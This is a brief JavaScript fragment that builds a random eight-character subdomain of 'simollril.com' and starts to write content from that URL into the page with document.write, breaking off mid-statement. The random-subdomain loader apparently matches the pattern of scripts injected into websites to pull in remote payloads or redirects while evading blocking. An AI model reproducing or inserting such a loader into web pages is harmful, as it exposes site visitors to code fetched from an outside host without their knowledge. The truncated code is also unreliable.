function generateSubdomain(length) { var chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; var result = ''; for (var i = 0; i < length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } var strUrl = (function() { var subdomain = generateSubdomain(8); return 'https://' + subdomain + '.simollril.com/'; })(); document.write('' + '' + '